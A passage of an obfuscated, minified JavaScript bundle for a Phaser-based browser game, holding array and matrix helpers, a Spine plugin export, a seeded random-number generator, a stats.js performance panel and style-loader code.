_0x34d1ca['sort'](_0x2d2d99); var _0x811004 = function (_0x346327, _0x403fb0) { var _0x1608a2 = _0x346327['length']; if (_0x1608a2 <= 0x1) return _0x346327; for (var _0x3cd4df = new Array(_0x1608a2), _0x4c090b = 0x1; _0x4c090b < _0x1608a2; _0x4c090b *= 0x2) { _0x1e422b(_0x346327, _0x403fb0, _0x4c090b, _0x3cd4df); var _0x5808d5 = _0x346327; _0x346327 = _0x3cd4df, _0x3cd4df = _0x5808d5; } return _0x346327; }(_0x34d1ca, _0x2d2d99); return _0x811004 !== _0x34d1ca && _0x1e422b(_0x811004, null, _0x34d1ca['length'], _0x34d1ca), _0x34d1ca; }; }, 0x944: _0x7555c2 => { _0x7555c2['exports'] = function (_0x1c3d82, _0x23050b, _0x208658) { if (_0x23050b === _0x208658) return _0x1c3d82; var _0x2680fc = _0x1c3d82['indexOf'](_0x23050b), _0x4dd9a6 = _0x1c3d82['indexOf'](_0x208658); if (_0x2680fc < 0x0 || _0x4dd9a6 < 0x0) throw new Error('Supplied\x20items\x20must\x20be\x20elements\x20of\x20the\x20same\x20array'); return _0x1c3d82[_0x2680fc] = _0x208658, _0x1c3d82[_0x4dd9a6] = _0x23050b, _0x1c3d82; }; }, 0x7a1: (_0x76a7b2, _0x6576b8, _0x5d7e69) => { _0x76a7b2['exports'] = { 'Matrix': _0x5d7e69(0x4d5), 'Add': _0x5d7e69(0x700), 'AddAt': _0x5d7e69(0x8e8), 'BringToTop': _0x5d7e69(0x9d1), 'CountAllMatching': _0x5d7e69(0x6eb), 'Each': _0x5d7e69(0x1ecb), 'EachInRange': _0x5d7e69(0x16e0), 'FindClosestInSorted': _0x5d7e69(0xf75), 'Flatten': _0x5d7e69(0x118d), 'GetAll': _0x5d7e69(0x1865), 'GetFirst': _0x5d7e69(0x66f), 'GetRandom': _0x5d7e69(0x14b5), 'MoveDown': _0x5d7e69(0x732), 'MoveTo': _0x5d7e69(0x58b), 'MoveUp': _0x5d7e69(0x1970), 'MoveAbove': _0x5d7e69(0x21eb), 'MoveBelow': _0x5d7e69(0x222), 'NumberArray': _0x5d7e69(0x1022), 'NumberArrayStep': _0x5d7e69(0x524), 'QuickSelect': _0x5d7e69(0x24f9), 'Range': _0x5d7e69(0x25e7), 'Remove': _0x5d7e69(0x1bf9), 'RemoveAt': _0x5d7e69(0x1275), 'RemoveBetween': _0x5d7e69(0x224c), 'RemoveRandomElement': _0x5d7e69(0x1670), 'Replace': _0x5d7e69(0x1b30), 'RotateLeft': _0x5d7e69(0x3fd), 'RotateRight': _0x5d7e69(0xfbb), 'SafeRange': _0x5d7e69(0x9c1), 'SendToBack': _0x5d7e69(0x14f1), 'SetAll': _0x5d7e69(0xe86), 'Shuffle': _0x5d7e69(0x1330), 'SortByDigits': _0x5d7e69(0x817), 'SpliceOne': _0x5d7e69(0x22e7), 'StableSort': _0x5d7e69(0x2708), 'Swap': _0x5d7e69(0x944) }; }, 0x718: _0x567e37 => { _0x567e37['exports'] = function (_0x30d51b) { if (!Array['isArray'](_0x30d51b) || !Array['isArray'](_0x30d51b[0x0])) return !0x1; for (var _0x4aec5a = _0x30d51b[0x0]['length'], _0x20ce2e = 0x1; _0x20ce2e < _0x30d51b['length']; _0x20ce2e++)if (_0x30d51b[_0x20ce2e]['length'] !== _0x4aec5a) return !0x1; return !0x0; }; }, 0x19ff: (_0x29b519, _0x3cc9da, _0x1af7b) => { var _0x246e0f = _0x1af7b(0x1c36), _0x3f8a0e = _0x1af7b(0x718); _0x29b519['exports'] = function (_0x40d205) { var _0x40cc11 = ''; if (!_0x3f8a0e(_0x40d205)) return _0x40cc11; for (var _0x5b6f79 = 0x0; _0x5b6f79 < _0x40d205['length']; _0x5b6f79++) { for (var _0xa5dbc4 = 0x0; _0xa5dbc4 < _0x40d205[_0x5b6f79]['length']; _0xa5dbc4++) { var _0x4d7ced = _0x40d205[_0x5b6f79][_0xa5dbc4]['toString'](); _0x40cc11 += 'undefined' !== _0x4d7ced ? _0x246e0f(_0x4d7ced, 0x2) : '?', _0xa5dbc4 < _0x40d205[_0x5b6f79]['length'] - 0x1 && (_0x40cc11 += '\x20|'); } if (_0x5b6f79 < _0x40d205['length'] - 0x1) { _0x40cc11 += '\x0a'; for (var _0xe9aa82 = 0x0; _0xe9aa82 < _0x40d205[_0x5b6f79]['length']; _0xe9aa82++)_0x40cc11 += '---', _0xe9aa82 < _0x40d205[_0x5b6f79]['length'] - 0x1 && (_0x40cc11 += '+'); _0x40cc11 += '\x0a'; } } return _0x40cc11; }; }, 0x246: _0x163c38 => { _0x163c38['exports'] = function (_0x2626f6) { return _0x2626f6['reverse'](); }; }, 0x17af: _0x485791 => { _0x485791['exports'] = function (_0x4ecbda) { for (var _0x2fcc78 = 0x0; _0x2fcc78 < _0x4ecbda['length']; _0x2fcc78++)_0x4ecbda[_0x2fcc78]['reverse'](); return _0x4ecbda; }; }, 0x2081: (_0x1d2a68, _0x1d2111, _0x2280d3) => { var _0x5a75be = _0x2280d3(0x1bcc); _0x1d2a68['exports'] = function (_0x16e4b4) { return _0x5a75be(_0x16e4b4, 0xb4); }; }, 0xa25: (_0x4473ce, _0x23389f, _0x97e024) => { var _0x54c25e = _0x97e024(0x1bcc); _0x4473ce['exports'] = function (_0x182957, _0x184787) { void 0x0 === _0x184787 && (_0x184787 = 0x1); for (var _0x221386 = 0x0; _0x221386 < _0x184787; _0x221386++)_0x182957 = _0x54c25e(_0x182957, 0x5a); return _0x182957; }; }, 0x1bcc: (_0xc72f2c, _0x4e3134, _0x18694b) => { var _0x458f16 = _0x18694b(0x718), _0x3bfb92 = _0x18694b(0x12ac); _0xc72f2c['exports'] = function (_0x5ce1d0, _0x103ded) { if (void 0x0 === _0x103ded && (_0x103ded = 0x5a), !_0x458f16(_0x5ce1d0)) return null; if ('string' != typeof _0x103ded && (_0x103ded = (_0x103ded % 0x168 + 0x168) % 0x168), 0x5a === _0x103ded || -0x10e === _0x103ded || 'rotateLeft' === _0x103ded) (_0x5ce1d0 = _0x3bfb92(_0x5ce1d0))['reverse'](); else { if (-0x5a === _0x103ded || 0x10e === _0x103ded || 'rotateRight' === _0x103ded) _0x5ce1d0['reverse'](), _0x5ce1d0 = _0x3bfb92(_0x5ce1d0); else { if (0xb4 === Math['abs'](_0x103ded) || 'rotate180' === _0x103ded) { for (var _0x36afdb = 0x0; _0x36afdb < _0x5ce1d0['length']; _0x36afdb++)_0x5ce1d0[_0x36afdb]['reverse'](); _0x5ce1d0['reverse'](); } } } return _0x5ce1d0; }; }, 0x188d: (_0x1a6545, _0x7d48de, _0xb2f298) => { var _0x3e28e2 = _0xb2f298(0x1bcc); _0x1a6545['exports'] = function (_0x58386c, _0x2e5f85) { void 0x0 === _0x2e5f85 && (_0x2e5f85 = 0x1); for (var _0xffad31 = 0x0; _0xffad31 < _0x2e5f85; _0xffad31++)_0x58386c = _0x3e28e2(_0x58386c, -0x5a); return _0x58386c; }; }, 0x1e1f: (_0x26fdf9, _0x2238f4, _0x233512) => { var _0x4705db = _0x233512(0x3fd), _0x4e5914 = _0x233512(0xfbb); _0x26fdf9['exports'] = function (_0x584db4, _0x152352, _0x37be6e) { if (void 0x0 === _0x152352 && (_0x152352 = 0x0), void 0x0 === _0x37be6e && (_0x37be6e = 0x0), 0x0 !== _0x37be6e && (_0x37be6e < 0x0 ? _0x4705db(_0x584db4, Math['abs'](_0x37be6e)) : _0x4e5914(_0x584db4, _0x37be6e)), 0x0 !== _0x152352) for (var _0x2c2c78 = 0x0; _0x2c2c78 < _0x584db4['length']; _0x2c2c78++) { var _0x4fc044 = _0x584db4[_0x2c2c78]; _0x152352 < 0x0 ? _0x4705db(_0x4fc044, Math['abs'](_0x152352)) : _0x4e5914(_0x4fc044, _0x152352); } return _0x584db4; }; }, 0x12ac: _0x2bef69 => { _0x2bef69['exports'] = function (_0x500a65) { for (var _0x41be27 = _0x500a65['length'], _0x4203fe = _0x500a65[0x0]['length'], _0xb05efc = new Array(_0x4203fe), _0x3f0a1a = 0x0; _0x3f0a1a < _0x4203fe; _0x3f0a1a++) { _0xb05efc[_0x3f0a1a] = new Array(_0x41be27); for (var _0x149201 = _0x41be27 - 0x1; _0x149201 > -0x1; _0x149201--)_0xb05efc[_0x3f0a1a][_0x149201] = _0x500a65[_0x149201][_0x3f0a1a]; } return _0xb05efc; }; }, 0x4d5: (_0x25028a, _0x3785fc, _0x5f329f) => { _0x25028a['exports'] = { 'CheckMatrix': _0x5f329f(0x718), 'MatrixToString': _0x5f329f(0x19ff), 'ReverseColumns': _0x5f329f(0x246), 'ReverseRows': _0x5f329f(0x17af), 'Rotate180': _0x5f329f(0x2081), 'RotateLeft': _0x5f329f(0xa25), 'RotateMatrix': _0x5f329f(0x1bcc), 'RotateRight': _0x5f329f(0x188d), 'Translate': _0x5f329f(0x1e1f), 'TransposeMatrix': _0x5f329f(0x12ac) }; }, 0xf47: _0x5a2c4d => { var _0x1f4c58 = function (_0x144700) { var _0x3e84b9, _0x164df8, _0x41ab9d; if ('object' != typeof _0x144700 || null === _0x144700) return _0x144700; for (_0x41ab9d in (_0x3e84b9 = Array['isArray'](_0x144700) ? [] : {}, _0x144700)) _0x164df8 = _0x144700[_0x41ab9d], _0x3e84b9[_0x41ab9d] = _0x1f4c58(_0x164df8); return _0x3e84b9; }; _0x5a2c4d['exports'] = _0x1f4c58; }, 0x406: (_0x132e50, _0x55d1ae, _0x1805d1) => { var _0x5a9a65 = _0x1805d1(0x9b2), _0xdd4fae = function () { var _0x42e4c1, _0xa20ff2, _0x3b24d8, _0x36ad69, _0x2bd179, _0x17bb9b, _0x337b9d = arguments[0x0] || {}, _0x594c2b = 0x1, _0x4b8843 = arguments['length'], _0x2ce464 = !0x1; for ('boolean' == typeof _0x337b9d && (_0x2ce464 = _0x337b9d, _0x337b9d = arguments[0x1] || {}, _0x594c2b = 0x2), _0x4b8843 === _0x594c2b && (_0x337b9d = this, --_0x594c2b); _0x594c2b < _0x4b8843; _0x594c2b++)if (null != (_0x42e4c1 = arguments[_0x594c2b])) { for (_0xa20ff2 in _0x42e4c1) _0x3b24d8 = _0x337b9d[_0xa20ff2], _0x337b9d !== (_0x36ad69 = _0x42e4c1[_0xa20ff2]) && (_0x2ce464 && _0x36ad69 && (_0x5a9a65(_0x36ad69) || (_0x2bd179 = Array['isArray'](_0x36ad69))) ? (_0x2bd179 ? (_0x2bd179 = !0x1, _0x17bb9b = _0x3b24d8 && Array['isArray'](_0x3b24d8) ? _0x3b24d8 : []) : _0x17bb9b = _0x3b24d8 && _0x5a9a65(_0x3b24d8) ? _0x3b24d8 : {}, _0x337b9d[_0xa20ff2] = _0xdd4fae(_0x2ce464, _0x17bb9b, _0x36ad69)) : void 0x0 !== _0x36ad69 && (_0x337b9d[_0xa20ff2] = _0x36ad69)); } return _0x337b9d; }; _0x132e50['exports'] = _0xdd4fae; }, 0x20a9: (_0x427bf6, _0x5a8dc0, _0x752859) => { var _0x4b2079 = _0x752859(0x1243), _0x2901d8 = _0x752859(0x16db); _0x427bf6['exports'] = function (_0x2bdbfa, _0x3e24e4, _0x3c42ef) { var _0x199302 = _0x2901d8(_0x2bdbfa, _0x3e24e4, null); if (null === _0x199302) return _0x3c42ef; if (Array['isArray'](_0x199302)) return _0x4b2079['RND']['pick'](_0x199302); if ('object' == typeof _0x199302) { if (_0x199302['hasOwnProperty']('randInt')) return _0x4b2079['RND']['integerInRange'](_0x199302['randInt'][0x0], _0x199302['randInt'][0x1]); if (_0x199302['hasOwnProperty']('randFloat')) return _0x4b2079['RND']['realInRange'](_0x199302['randFloat'][0x0], _0x199302['randFloat'][0x1]); } else { if ('function' == typeof _0x199302) return _0x199302(_0x3e24e4); } return _0x199302; }; }, 0x11f5: _0x4b9dde => { _0x4b9dde['exports'] = function (_0x4a9660, _0x41474c, _0x1cb2e4) { var _0x1923c1 = typeof _0x4a9660; return _0x4a9660 && 'number' !== _0x1923c1 && 'string' !== _0x1923c1 && _0x4a9660['hasOwnProperty'](_0x41474c) && void 0x0 !== _0x4a9660[_0x41474c] ? _0x4a9660[_0x41474c] : _0x1cb2e4; }; }, 0x16db: _0x1870e4 => { _0x1870e4['exports'] = function (_0x39767b, _0x338a34, _0x45a21c, _0xce0636) { if (!_0x39767b && !_0xce0636 || 'number' == typeof _0x39767b) return _0x45a21c; if (_0x39767b && _0x39767b['hasOwnProperty'](_0x338a34)) return _0x39767b[_0x338a34]; if (_0xce0636 && _0xce0636['hasOwnProperty'](_0x338a34)) return _0xce0636[_0x338a34]; if (-0x1 !== _0x338a34['indexOf']('.')) { for (var _0x202be5 = _0x338a34['split']('.'), _0x3b26c0 = _0x39767b, _0x2e244b = _0xce0636, _0x13deb7 = _0x45a21c, _0x58aa59 = _0x45a21c, _0x2b45a6 = !0x0, _0x21ae00 = !0x0, _0x3345a0 = 0x0; _0x3345a0 < _0x202be5['length']; _0x3345a0++)_0x3b26c0 && _0x3b26c0['hasOwnProperty'](_0x202be5[_0x3345a0]) ? (_0x13deb7 = _0x3b26c0[_0x202be5[_0x3345a0]], _0x3b26c0 = _0x3b26c0[_0x202be5[_0x3345a0]]) : _0x2b45a6 = !0x1, _0x2e244b && _0x2e244b['hasOwnProperty'](_0x202be5[_0x3345a0]) ? (_0x58aa59 = _0x2e244b[_0x202be5[_0x3345a0]], _0x2e244b = _0x2e244b[_0x202be5[_0x3345a0]]) : _0x21ae00 = !0x1; return _0x2b45a6 ? _0x13deb7 : _0x21ae00 ? _0x58aa59 : _0x45a21c; } return _0x45a21c; }; }, 0x9b2: _0x4997ca => { _0x4997ca['exports'] = function (_0x2762da) { if (!_0x2762da || 'object' != typeof _0x2762da || _0x2762da['nodeType'] || _0x2762da === _0x2762da['window']) return !0x1; try { if (_0x2762da['constructor'] && !{}['hasOwnProperty']['call'](_0x2762da['constructor']['prototype'], 'isPrototypeOf')) return !0x1; } catch (_0x55ec83) { return !0x1; } return !0x0; }; }, 0x1c36: _0x4b170a => { _0x4b170a['exports'] = function (_0x213190, _0x8aff38, _0x4ef83b, _0x5dea13) { void 0x0 === _0x8aff38 && (_0x8aff38 = 0x0), void 0x0 === _0x4ef83b && (_0x4ef83b = '\x20'), void 0x0 === _0x5dea13 && (_0x5dea13 = 0x3); var _0x494b38 = 0x0; if (_0x8aff38 + 0x1 >= (_0x213190 = _0x213190['toString']())['length']) switch (_0x5dea13) { case 0x1: _0x213190 = new Array(_0x8aff38 + 0x1 - _0x213190['length'])['join'](_0x4ef83b) + _0x213190; break; case 0x3: var _0x219af2 = Math['ceil']((_0x494b38 = _0x8aff38 - _0x213190['length']) / 0x2); _0x213190 = new Array(_0x494b38 - _0x219af2 + 0x1)['join'](_0x4ef83b) + _0x213190 + new Array(_0x219af2 + 0x1)['join'](_0x4ef83b); break; default: _0x213190 += new Array(_0x8aff38 + 0x1 - _0x213190['length'])['join'](_0x4ef83b); }return _0x213190; }; } }, _0x4ee6e9 = {}, _0x251089 = function _0x142c57(_0x379fb1) { var _0x131fc7 = _0x4ee6e9[_0x379fb1]; if (void 0x0 !== _0x131fc7) return _0x131fc7['exports']; var _0x3ccc01 = _0x4ee6e9[_0x379fb1] = { 'exports': {} }; return _0x101758[_0x379fb1](_0x3ccc01, _0x3ccc01['exports'], _0x142c57), _0x3ccc01['exports']; }(0x11a1); window['SpinePlugin'] = _0x251089; })()); }, 0x1ee2: (_0xbbcd43, _0x4de61b, _0x3a06ce) => { 'use strict'; var _0x2b611d = _0x3a06ce(0x11b2), _0x2864b0 = function () { var _0x2b0923 = 0xefc8249d; return function (_0x15f008) { if (_0x15f008) { _0x15f008 = _0x15f008['toString'](); for (var _0x5a245b = 0x0; _0x5a245b < _0x15f008['length']; _0x5a245b++) { var _0x2e0cae = 0.02519603282416938 * (_0x2b0923 += _0x15f008['charCodeAt'](_0x5a245b)); _0x2e0cae -= _0x2b0923 = _0x2e0cae >>> 0x0, _0x2b0923 = (_0x2e0cae *= _0x2b0923) >>> 0x0, _0x2b0923 += 0x100000000 * (_0x2e0cae -= _0x2b0923); } return 2.3283064365386963e-10 * (_0x2b0923 >>> 0x0); } _0x2b0923 = 0xefc8249d; }; }, _0x4971e6 = function (_0x521dfb) { return (function () { var _0x83fdb1, _0x1ae80f, _0x514b43 = 0x30, _0x57e14f = 0x1, _0x4f9769 = _0x514b43, _0x471982 = new Array(_0x514b43), _0x179052 = 0x0, _0x2fc5ef = new _0x2864b0(); for (_0x83fdb1 = 0x0; _0x83fdb1 < _0x514b43; _0x83fdb1++)_0x471982[_0x83fdb1] = _0x2fc5ef(Math['random']()); var _0x323fbd = function () { ++_0x4f9769 >= _0x514b43 && (_0x4f9769 = 0x0); var _0x2eaa62 = 0x1afd9f * _0x471982[_0x4f9769] + 2.3283064365386963e-10 * _0x57e14f; return _0x471982[_0x4f9769] = _0x2eaa62 - (_0x57e14f = 0x0 | _0x2eaa62); }, _0x1bd996 = function (_0x23542b) { return Math['floor'](_0x23542b * (_0x323fbd() + 1.1102230246251565e-16 * (0x200000 * _0x323fbd() | 0x0))); }; return _0x1bd996['string'] = function (_0x230036) { var _0x5688df, _0x2b4280 = ''; for (_0x5688df = 0x0; _0x5688df < _0x230036; _0x5688df++)_0x2b4280 += String['fromCharCode'](0x21 + _0x1bd996(0x5e)); return _0x2b4280; }, (_0x1bd996['cleanString'] = function (_0xf6210) { return _0xf6210 = (_0xf6210 = (_0xf6210 = _0xf6210['replace'](/(^\s*)|(\s*$)/gi, ''))['replace'](/[\x00-\x1F]/gi, ''))['replace'](/\n /, '\x0a'); }, _0x1bd996['hashString'] = function (_0x1990c5) { for (_0x1990c5 = _0x1bd996['cleanString'](_0x1990c5), _0x2fc5ef(_0x1990c5), _0x83fdb1 = 0x0; _0x83fdb1 < _0x1990c5['length']; _0x83fdb1++)for (_0x179052 = _0x1990c5['charCodeAt'](_0x83fdb1), _0x1ae80f = 0x0; _0x1ae80f < _0x514b43; _0x1ae80f++)_0x471982[_0x1ae80f] -= _0x2fc5ef(_0x179052), _0x471982[_0x1ae80f] < 0x0 && (_0x471982[_0x1ae80f] += 0x1); }, _0x1bd996['seed'] = function (_0xd09987) { null == _0xd09987 && (_0xd09987 = Math['random']()), 'string' != typeof _0xd09987 && (_0xd09987 = _0x2b611d(_0xd09987, function (_0x4294e6, _0x351029) { return 'function' == typeof _0x351029 ? _0x351029['toString']() : _0x351029; })), _0x1bd996['initState'](), _0x1bd996['hashString'](_0xd09987); }, _0x1bd996['addEntropy'] = function () { var _0x2b017e = []; for (_0x83fdb1 = 0x0; _0x83fdb1 < arguments['length']; _0x83fdb1++)_0x2b017e['push'](arguments[_0x83fdb1]); !(function () { var _0x7c36c5 = Array['prototype']['slice']['call'](arguments); for (_0x83fdb1 = 0x0; _0x83fdb1 < _0x7c36c5['length']; _0x83fdb1++)for (_0x1ae80f = 0x0; _0x1ae80f < _0x514b43; _0x1ae80f++)_0x471982[_0x1ae80f] -= _0x2fc5ef(_0x7c36c5[_0x83fdb1]), _0x471982[_0x1ae80f] < 0x0 && (_0x471982[_0x1ae80f] += 0x1); }(_0x179052++ + new Date()['getTime']() + _0x2b017e['join']('') + Math['random']())); }, _0x1bd996['initState'] = function () { for (_0x2fc5ef(), _0x83fdb1 = 0x0; _0x83fdb1 < _0x514b43; _0x83fdb1++)_0x471982[_0x83fdb1] = _0x2fc5ef('\x20'); _0x57e14f = 0x1, _0x4f9769 = _0x514b43; }, _0x1bd996['done'] = function () { _0x2fc5ef = null; }, void 0x0 !== _0x521dfb && _0x1bd996['seed'](_0x521dfb), _0x1bd996['range'] = function (_0x2ca939) { return _0x1bd996(_0x2ca939); }, _0x1bd996['random'] = function () { return _0x1bd996(Number['MAX_VALUE'] - 0x1) / Number['MAX_VALUE']; }, _0x1bd996['floatBetween'] = function (_0x31a97f, _0x356213) { return _0x1bd996['random']() * (_0x356213 - _0x31a97f) + _0x31a97f; }, _0x1bd996['intBetween'] = function (_0x4e582d, _0x40a465) { return Math['floor'](_0x1bd996['random']() * (_0x40a465 - _0x4e582d + 0x1)) + _0x4e582d; }, _0x1bd996); }()); }; _0x4971e6['create'] = function (_0x148a44) { return new _0x4971e6(_0x148a44); }, _0xbbcd43['exports'] = _0x4971e6; }, 0xd8a: function (_0x5eb7ee) { var _0x5e25bb; _0x5eb7ee['exports'] = ((_0x5e25bb = function () { function _0x36e412(_0x5ef6aa) { return _0x139c16['appendChild'](_0x5ef6aa['dom']), _0x5ef6aa; } function _0x3cb69f(_0x419d9b) { for (var _0x472eb6 = 0x0; _0x472eb6 < _0x139c16['children']['length']; _0x472eb6++)_0x139c16['children'][_0x472eb6]['style']['display'] = _0x472eb6 === _0x419d9b ? 'block' : 'none'; _0x3ad815 = _0x419d9b; } var _0x3ad815 = 0x0, _0x139c16 = document['createElement']('div'); _0x139c16['style']['cssText'] = 'position:fixed;top:0;left:0;cursor:pointer;opacity:0.9;z-index:10000', _0x139c16['addEventListener']('click', function (_0xba192b) { _0xba192b['preventDefault'](), _0x3cb69f(++_0x3ad815 % _0x139c16['children']['length']); }, !0x1); var _0x4cfb8f = (performance || Date)['now'](), _0x30e8cd = _0x4cfb8f, _0x4560d3 = 0x0, _0x250bb7 = _0x36e412(new _0x5e25bb['Panel']('FPS', '#0ff', '#002')), _0x3f65a0 = _0x36e412(new _0x5e25bb['Panel']('MS', '#0f0', '#020')); if (self['performance'] && self['performance']['memory']) var _0x1da983 = _0x36e412(new _0x5e25bb['Panel']('MB', '#f08', '#201')); return _0x3cb69f(0x0), { 'REVISION': 0x10, 'dom': _0x139c16, 'addPanel': _0x36e412, 'showPanel': _0x3cb69f, 'begin': function () { _0x4cfb8f = (performance || Date)['now'](); }, 'end': function () { _0x4560d3++; var _0x17c114 = (performance || Date)['now'](); if (_0x3f65a0['update'](_0x17c114 - _0x4cfb8f, 0xc8), _0x17c114 > _0x30e8cd + 0x3e8 && (_0x250bb7['update'](0x3e8 * _0x4560d3 / (_0x17c114 - _0x30e8cd), 0x64), _0x30e8cd = _0x17c114, _0x4560d3 = 0x0, _0x1da983)) { var _0x583ded = performance['memory']; _0x1da983['update'](_0x583ded['usedJSHeapSize'] / 0x100000, _0x583ded['jsHeapSizeLimit'] / 0x100000); } return _0x17c114; }, 'update': function () { _0x4cfb8f = this['end'](); }, 'domElement': _0x139c16, 'setMode': _0x3cb69f }; })['Panel'] = function (_0x553830, _0x516938, _0x405310) { var _0x3cf1a6 = 0x1 / 0x0, _0x37004b = 0x0, _0x3d90b3 = Math['round'], _0x2fde67 = _0x3d90b3(window['devicePixelRatio'] || 0x1), _0x494b51 = 0x50 * _0x2fde67, _0x49eef1 = 0x30 * _0x2fde67, _0x2888a2 = 0x3 * _0x2fde67, _0x30c982 = 0x2 * _0x2fde67, _0x3cf58 = 0x3 * _0x2fde67, _0x2f4034 = 0xf * _0x2fde67, _0x5883c2 = 0x4a * _0x2fde67, _0x32fa1a = 0x1e * _0x2fde67, _0xee616c = document['createElement']('canvas'); _0xee616c['width'] = _0x494b51, _0xee616c['height'] = _0x49eef1, _0xee616c['style']['cssText'] = 'width:80px;height:48px'; var _0x3f53af = _0xee616c['getContext']('2d'); return _0x3f53af['font'] = 'bold\x20' + 0x9 * _0x2fde67 + 'px\x20Helvetica,Arial,sans-serif', _0x3f53af['textBaseline'] = 'top', _0x3f53af['fillStyle'] = _0x405310, _0x3f53af['fillRect'](0x0, 0x0, _0x494b51, _0x49eef1), _0x3f53af['fillStyle'] = _0x516938, _0x3f53af['fillText'](_0x553830, _0x2888a2, _0x30c982), _0x3f53af['fillRect'](_0x3cf58, _0x2f4034, _0x5883c2, _0x32fa1a), _0x3f53af['fillStyle'] = _0x405310, _0x3f53af['globalAlpha'] = 0.9, _0x3f53af['fillRect'](_0x3cf58, _0x2f4034, _0x5883c2, _0x32fa1a), { 'dom': _0xee616c, 'update': function (_0x57a66f, _0x553a8a) { _0x3cf1a6 = Math['min'](_0x3cf1a6, _0x57a66f), _0x37004b = Math['max'](_0x37004b, _0x57a66f), _0x3f53af['fillStyle'] = _0x405310, _0x3f53af['globalAlpha'] = 0x1, _0x3f53af['fillRect'](0x0, 0x0, _0x494b51, _0x2f4034), _0x3f53af['fillStyle'] = _0x516938, _0x3f53af['fillText'](_0x3d90b3(_0x57a66f) + '\x20' + _0x553830 + '\x20(' + _0x3d90b3(_0x3cf1a6) + '-' + _0x3d90b3(_0x37004b) + ')', _0x2888a2, _0x30c982), _0x3f53af['drawImage'](_0xee616c, _0x3cf58 + _0x2fde67, _0x2f4034, _0x5883c2 - _0x2fde67, _0x32fa1a, _0x3cf58, _0x2f4034, _0x5883c2 - _0x2fde67, _0x32fa1a), _0x3f53af['fillRect'](_0x3cf58 + _0x5883c2 - _0x2fde67, _0x2f4034, _0x2fde67, _0x32fa1a), _0x3f53af['fillStyle'] = _0x405310, _0x3f53af['globalAlpha'] = 0.9, _0x3f53af['fillRect'](_0x3cf58 + _0x5883c2 - _0x2fde67, _0x2f4034, _0x2fde67, _0x3d90b3((0x1 - _0x57a66f / _0x553a8a) * _0x32fa1a)); } }; }, _0x5e25bb); }, 0x1464: (_0x273f2, _0x37cbf8, _0x4f9ccd) => { 'use strict'; _0x4f9ccd['r'](_0x37cbf8), _0x4f9ccd['d'](_0x37cbf8, { 'default': () => _0x1ed89b }); var _0x57fc02 = _0x4f9ccd(0xd33), _0x53c6aa = _0x4f9ccd['n'](_0x57fc02), _0x4409f8 = _0x4f9ccd(0x1e73), _0x10090b = _0x4f9ccd['n'](_0x4409f8), _0x2dd0be = _0x4f9ccd(0x239), _0x2b40aa = _0x4f9ccd['n'](_0x2dd0be), _0x3d0dc6 = _0x4f9ccd(0xded), _0x1e1415 = _0x4f9ccd['n'](_0x3d0dc6), _0x53cc28 = _0x4f9ccd(0x2400), _0x3f068b = _0x4f9ccd['n'](_0x53cc28), _0x36ede4 = _0x4f9ccd(0x11ed), _0xf438b5 = _0x4f9ccd['n'](_0x36ede4), _0x523ff3 = _0x4f9ccd(0x2442), _0x231407 = {}; _0x231407['styleTagTransform'] = _0xf438b5(), _0x231407['setAttributes'] = _0x1e1415(), _0x231407['insert'] = _0x2b40aa()['bind'](null, 'head'), _0x231407['domAPI'] = _0x10090b(), _0x231407['insertStyleElement'] = _0x3f068b(), _0x53c6aa()(_0x523ff3['Z'], _0x231407); const _0x1ed89b = _0x523ff3['Z'] && _0x523ff3['Z']['locals'] ? _0x523ff3['Z']['locals'] : void 0x0; }, 0xd33: _0x4c3100 => { 'use strict'; var _0x19515c = []; function _0x598155(_0x57a4ad) { for (var _0x2146ea = -0x1, _0x5d812a = 0x0; _0x5d812a < _0x19515c['length']; _0x5d812a++)if (_0x19515c[_0x5d812a]['identifier'] === _0x57a4ad) { _0x2146ea = _0x5d812a; break; } return _0x2146ea; } function _0xbafdad(_0x2d8b9b, _0x1515e3) { for (var _0x39b9e6 = {}, _0x143541 = [], _0x43a8f2 = 0x0; _0x43a8f2 < _0x2d8b9b['length']; _0x43a8f2++) { var _0xa4f347 = _0x2d8b9b[_0x43a8f2], _0x376df2 = _0x1515e3['base'] ? _0xa4f347[0x0] + _0x1515e3['base'] : _0xa4f347[0x0], _0x3ab053 = _0x39b9e6[_0x376df2] || 0x0, _0x5aba53 = ''['concat'](_0x376df2, '\x20')['concat'](_0x3ab053); _0x39b9e6[_0x376df2] = _0x3ab053 + 0x1; var _0x5b2ee3 = _0x598155(_0x5aba53), _0x171782 = { 'css': _0xa4f347[0x1], 'media': _0xa4f347[0x2], 'sourceMap': _0xa4f347[0x3], 'supports': _0xa4f347[0x4], 'layer': _0xa4f347[0x5] }; if (-0x1 !== _0x5b2ee3) _0x19515c[_0x5b2ee3]['references']++, _0x19515c[_0x5b2ee3]['updater'](_0x171782); else { var _0x7eb2ed = _0x2c177a(_0x171782, _0x1515e3); _0x1515e3['byIndex'] = _0x43a8f2, _0x19515c['splice'](_0x43a8f2, 0x0, { 'identifier': _0x5aba53, 'updater': _0x7eb2ed, 'references': 0x1 }); } _0x143541['push'](_0x5aba53); } return _0x143541; } function _0x2c177a(_0x1cda73, _0x27687e) { var _0x382894 = _0x27687e['domAPI'](_0x27687e); return _0x382894['update'](_0x1cda73), function (_0x31342b) { if (_0x31342b) { if (_0x31342b['css'] === _0x1cda73['css'] && _0x31342b['media'] === _0x1cda73['media'] && _0x31342b['sourceMap'] === _0x1cda73['sourceMap'] && _0x31342b['supports'] === _0x1cda73['supports'] && _0x31342b['layer'] === _0x1cda73['layer']) return; _0x382894['update'](_0x1cda73 = _0x31342b); } else _0x382894['remove'](); }; } _0x4c3100['exports'] = function (_0x89e36e, _0x9513e0) { var _0x453cc8 = _0xbafdad(_0x89e36e = _0x89e36e || [], _0x9513e0 = _0x9513e0 || {}); return function (_0x168f20) { _0x168f20 = _0x168f20 || []; for (var _0x4afbb0 = 0x0; _0x4afbb0 < _0x453cc8['length']; _0x4afbb0++) { var _0x494464 = _0x598155(_0x453cc8[_0x4afbb0]); _0x19515c[_0x494464]['references']--; } for (var _0x485fbe = _0xbafdad(_0x168f20, _0x9513e0), _0x191160 = 0x0; _0x191160 < _0x453cc8['length']; _0x191160++) { var _0x161899 = _0x598155(_0x453cc8[_0x191160]); 0x0 === _0x19515c[_0x161899]['references'] && (_0x19515c[_0x161899]['updater'](), _0x19515c['splice'](_0x161899, 0x1)); } _0x453cc8 = _0x485fbe; }; }; }, 0x239: _0x4ecbdf => { 'use strict'; var _0x2f4e0b = {}; _0x4ecbdf['exports'] = function (_0xc00391, _0x119987) { var _0x1c39ad = function (_0x37b0d4) { if (void 0x0 === _0x2f4e0b[_0x37b0d4]) { var _0x4594cd = document['querySelector'](_0x37b0d4); if (window['HTMLIFrameElement'] && _0x4594cd 